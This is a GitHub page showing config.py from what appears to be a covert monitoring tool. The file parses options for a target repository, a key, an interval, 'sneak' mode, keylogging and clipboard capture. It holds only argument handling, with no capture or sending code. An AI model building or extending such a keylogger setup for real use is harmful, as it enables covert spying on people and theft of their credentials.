-
Notifications
You must be signed in to change notification settings - Fork 0
/
config.py
45 lines (42 loc) · 1.24 KB
/
config.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from params import *
from typing import Callable, Dict, Any
from threading import Event
PARAM: dict[str, str] = dict()
METHODS: Dict[str, Callable[..., Any]] = dict()
RUNNING = Event()
RUNNING.set()
def update(argline: list) -> None:
if REPO != "":
PARAM["repo"] = REPO
if KEY != "":
PARAM["key"] = KEY
if INTERVAL != "":
PARAM["interval"] = INTERVAL
if SNEAK != "":
PARAM["sneak"] = SNEAK
if KEYLOGGER:
PARAM["keylogger"] = ""
if CLIPBOARD != "":
PARAM["clipboard"] = ""
for i in range(0, len(argline)):
match argline[i]:
case "sneak":
PARAM["sneak"] = argline[i + 1]
i += 1
case "key":
PARAM["key"] = argline[i + 1]
i += 1
case "interval":
PARAM["interval"] = argline[i + 1]
i += 1
case "repo":
PARAM["repo"] = argline[i + 1]
i += 1
case "keylogger":
PARAM["keylogger"] = ""
case "clipboard":
PARAM["clipboard"] = ""
case _:
continue
if PARAM.get("repo") == None:
raise Exception("Repository required to start")